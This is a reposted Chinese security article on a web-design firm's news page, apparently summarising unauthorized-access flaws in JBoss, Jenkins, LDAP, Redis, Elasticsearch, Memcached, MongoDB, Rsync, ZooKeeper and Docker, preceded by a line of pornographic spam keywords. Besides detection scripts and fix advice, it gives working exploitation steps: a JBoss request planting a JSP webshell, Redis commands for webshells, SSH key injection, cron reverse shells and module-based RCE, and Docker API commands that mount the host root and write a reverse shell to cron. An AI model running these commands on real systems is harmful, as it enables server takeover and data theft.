日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
聊聊常見未授權(quán)訪問漏洞總結(jié)

本文轉(zhuǎn)載自微信公眾號「Bypass」,作者Bypass 。轉(zhuǎn)載本文請聯(lián)系Bypass公眾號。

我們提供的服務(wù)有:成都網(wǎng)站設(shè)計、網(wǎng)站建設(shè)、微信公眾號開發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認證、城中ssl等。為超過千家企事業(yè)單位解決了網(wǎng)站和推廣的問題。提供周到的售前咨詢和貼心的售后服務(wù),是有科學管理、有技術(shù)的城中網(wǎng)站制作公司

本文詳細地介紹了常見未授權(quán)訪問漏洞及其利用,具體漏洞列表如下:

  • Jboss 未授權(quán)訪問
  • Jenkins 未授權(quán)訪問
  • ldap未授權(quán)訪問
  • Redis未授權(quán)訪問
  • elasticsearch未授權(quán)訪問
  • MenCache未授權(quán)訪問
  • Mongodb未授權(quán)訪問
  • Rsync未授權(quán)訪問
  • Zookeeper未授權(quán)訪問
  • Docker未授權(quán)訪問

1、Jboss未授權(quán)訪問

漏洞原因:

在低版本中,默認可以訪問Jboss web控制臺(http://127.0.0.1:8080/jmx-console),無需用戶名和密碼。

漏洞利用:

1、寫入一句話木馬:

 
 
 
 
  1. http://127.0.0.1:8080/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

2、寫入1.txt文件

 
 
 
 
  1. http://127.0.0.1:8080/August/shell.jsp?f=1.txt&t=hello world!

3、訪問1.txt文件

 
 
 
 
  1. http://127.0.0.1:8080/August/1.txt

檢測工具:jexboss,一個使用Python編寫的Jboss漏洞檢測利用工具,通過它可以檢測并利用web-console,jmx-console,JMXInvokerServlet這三個漏洞,并且可以獲得一個shell。

修復(fù)建議:關(guān)閉jmx-console和web-console,提高安全性。

2、Jenkins 未授權(quán)訪問

漏洞原因:未設(shè)置密碼,導(dǎo)致未授權(quán)訪問。

漏洞測試:直接通過url訪問

 
 
 
 
  1. http://:8080/manage
  2. http://:8080/script

修復(fù)建議:設(shè)置強口令密碼。

3、ldap未授權(quán)訪問

漏洞原因:沒有對Ldap進行密碼驗證,導(dǎo)致未授權(quán)訪問。

檢測腳本:

 
 
 
 
  1. #! /usr/bin/env python
  2. # _*_  coding:utf-8 _*_
  3. from ldap3 import Connection,Server,ALL
  4. def ldap_anonymous(ip):
  5.     try:
  6.         server = Server(ip,get_info=ALL,connect_timeout=1)
  7.         conn = Connection(server, auto_bind=True)
  8.         print "[+] ldap login for anonymous"
  9.         conn.closed
  10.     except:
  11.         #pass
  12.         print '[-] checking for ldap anonymous fail'

利用工具:使用LdapBrowser直接連入,獲取敏感信息。

修復(fù)建議:增加強密碼驗證。

4、Redis未授權(quán)訪問

漏洞利用:

姿勢一:絕對路徑寫webshell

我們可以將dir設(shè)置為一個目錄a,而dbfilename為文件名b,再執(zhí)行save或bgsave,則我們就可以寫入一個路徑為a/b的任意文件:

 
 
 
 
  1. config set dir /home/wwwroot/default/
  2. config set dbfilename redis.php
  3. set webshell ""
  4. save

姿勢二:公私鑰認證獲取root權(quán)限

1、ssh免密碼配置

 
 
 
 
  1. ssh-keygen -t rsa -P ''     #生成公鑰/私鑰對                           
  2. cd /root/.ssh/
  3. (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt  #將公鑰寫入 foo.txt 文件
  4. 連接 Redis 寫入文件

2、連接Redis寫入文件

 
 
 
 
  1. cat foo.txt | ./redis-cli -h 192.168.125.140  -x set crackit
  2. ./redis-cli -h 192.168.125.140
  3. config set dir /root/.ssh/
  4. config get dir
  5. config set dbfilename "authorized_keys"
  6. save

利用私鑰成功登錄redis服務(wù)器

姿勢三:利用contrab計劃任務(wù)反彈shell

 
 
 
 
  1. config set dir /var/spool/cron/crontabs/
  2. config set dbfilename root
  3. flushall
  4. set test "* * * * * /bin/bash -i >& /dev/tcp/10.1.1.211:1234 0>&1"
  5. save

姿勢四:主從復(fù)制RCE

在Reids 4.x之后,Redis新增了模塊功能,通過外部拓展,可以實現(xiàn)在Redis中實現(xiàn)一個新的Redis命令,通過寫C語言編譯并加載惡意的.so文件,達到代碼執(zhí)行的目的。

通過腳本實現(xiàn)一鍵自動化getshell:

1、生成惡意.so文件,下載RedisModules-ExecuteCommand使用make編譯即可生成。

 
 
 
 
  1. git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
  2. cd RedisModules-ExecuteCommand/
  3. make

2、攻擊端執(zhí)行:python redis-rce.py -r 目標ip-p 目標端口 -L 本地ip -f 惡意.so

 
 
 
 
  1. git clone https://github.com/Ridter/redis-rce.git
  2. cd redis-rce/
  3. cp ../RedisModules-ExecuteCommand/src/module.so ./
  4. pip install -r requirements.txt 
  5. python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so

5、Elasticsearch未授權(quán)訪問

漏洞原因:Elasticsearch 默認端口為9200 ,攻擊者可以直接訪問http://ip:port。

檢測腳本:

 
 
 
 
  1. #! /usr/bin/env python
  2. # _*_  coding:utf-8 _*_
  3. import requests
  4. def Elasticsearch_check(ip, port=9200, timeout=5):
  5.     try:
  6.       url = "http://"+ip+":"+str(port)+"/_cat"
  7.       response = requests.get(url) 
  8.     except:
  9.       pass
  10.     if "/_cat/master" in response.content:
  11.       print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)

漏洞測試:

 
 
 
 
  1. http://localhost:9200/_cat/indices
  2. http://localhost:9200/_river/_search 查看數(shù)據(jù)庫敏感信息
  3. http://localhost:9200/_nodes 查看節(jié)點數(shù)據(jù)
  4. 如有安裝head插件:
  5. http://localhost:9200/_plugin/head/ web管理界面

修復(fù)建議:

1、限制IP訪問,綁定固定IP

2、在config/elasticsearch.yml中為9200端口設(shè)置認證:

 
 
 
 
  1. http.basic.enabled true #開關(guān),開啟會接管全部HTTP連接
  2.   http.basic.user "admin" #賬號
  3.   http.basic.password "admin_pw" #密碼
  4.   http.basic.ipwhitelist ["localhost", "127.0.0.1"]

6、MenCache未授權(quán)訪問

漏洞原因:Memcached 分布式緩存系統(tǒng),默認的 11211 端口不需要密碼即可訪問,黑客直接訪問即可獲取數(shù)據(jù)庫中所有信息,造成嚴重的信息泄露。

檢測腳本:

 
 
 
 
  1. #! /usr/bin/env python
  2. # _*_  coding:utf-8 _*_
  3. def Memcache_check(ip, port=11211, timeout=5):
  4.     try:
  5.         socket.setdefaulttimeout(timeout)
  6.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7.         s.connect((ip, int(port)))
  8.         s.send("stats\r\n")
  9.         result = s.recv(1024)
  10.         if "STAT version" in result:
  11.             print '[+] Memcache Unauthorized: ' +ip+':'+str(port)
  12.     except Exception, e:
  13.         pass

漏洞驗證:

 
 
 
 
  1. #無需用戶名密碼,可以直接連接memcache 服務(wù)的11211端口。
  2. telnet x.x.x.x  11211
  3. stats  //查看memcache 服務(wù)狀態(tài)
  4. stats items  //查看所有items
  5. stats cachedump 32 0  //獲得緩存key
  6. get :state:264861539228401373:261588   //通過key讀取相應(yīng)value ,獲得實際緩存內(nèi)容,造成敏感信息泄露

修復(fù)建議:綁定的ip地址為 127.0.0.1,或者通過firewall限制訪問。

7、Mongodb未授權(quán)訪問

漏洞原因:MongoDB 默認是沒有權(quán)限驗證的,登錄的用戶可以通過默認端口無需密碼對數(shù)據(jù)庫任意操作(增刪改高危動作),而且可以遠程訪問數(shù)據(jù)庫。

檢測腳本:

 
 
 
 
  1. #! /usr/bin/env python
  2. # _*_  coding:utf-8 _*_
  3. def mongodb(ip,port):    
  4.     try:
  5.         client = MongoClient(ip,port)
  6.         db=client.local
  7.         flag = db.collection_names()
  8.         if flag:    
  9.             print "[+] Mongodb login for anonymous"
  10.     except Exception, e:
  11.         pass

修復(fù)建議:增加用戶密碼權(quán)限驗證,設(shè)置本地監(jiān)聽或者訪問控制。

8、Rsync未授權(quán)訪問

漏洞原因:未配置賬號密碼認證,導(dǎo)致未授權(quán)訪問。

漏洞測試:

 
 
 
 
  1. 列舉整個同步目錄或指定目錄:
  2. rsync 10.0.0.12 ::
  3. rsync 10.0.0.12 :: www /
  4. 下載文件或目錄到本地:
  5. rsync – avz 10.0.0.12 :: WWW/  /var/tmp
  6. rsync – avz 10.0.0.12 :: www/  /var/tmp
  7. 上傳本地文件到服務(wù)端:
  8. rsync -avz webshell 10.0.0.12 :: WWW /

修復(fù)建議:增加用戶密碼認證,設(shè)置訪問ip限制。

9、Zookeeper未授權(quán)訪問

漏洞原因:ZooKeeper默認開啟在2181端口,在未進行任何訪問控制情況下,攻擊者可通過執(zhí)行envi命令獲得系統(tǒng)大量的敏感信息,包括系統(tǒng)名稱、Java環(huán)境。

漏洞測試:

 
 
 
 
  1. echo envi|nc 192.168.15.74 2181

修復(fù)建議:添加用戶名密碼認證,設(shè)置ip訪問控制。

10、Docker未授權(quán)訪問

漏洞原因:docker remote api可以執(zhí)行docker命令,docker守護進程監(jiān)聽在0.0.0.0,可直接調(diào)用API來操作docker。

 
 
 
 
  1. sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

漏洞利用:

通過docker daemon api 執(zhí)行docker命令。

 
 
 
 
  1. #列出容器信息,效果與docker ps一致。
  2. curl http://:2375/containers/json
  3. #啟動容器
  4. docker -H tcp://:2375 ps -a

1、新運行一個容器,掛載點設(shè)置為服務(wù)器的根目錄掛載至/mnt目錄下。

 
 
 
 
  1. sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash

2、在容器內(nèi)執(zhí)行命令,將反彈shell的腳本寫入到/var/spool/cron/root

 
 
 
 
  1. echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

3、本地監(jiān)聽端口,獲取對方宿主機shell。


分享文章:聊聊常見未授權(quán)訪問漏洞總結(jié)
文章轉(zhuǎn)載:http://www.dlmjj.cn/article/cohhjds.html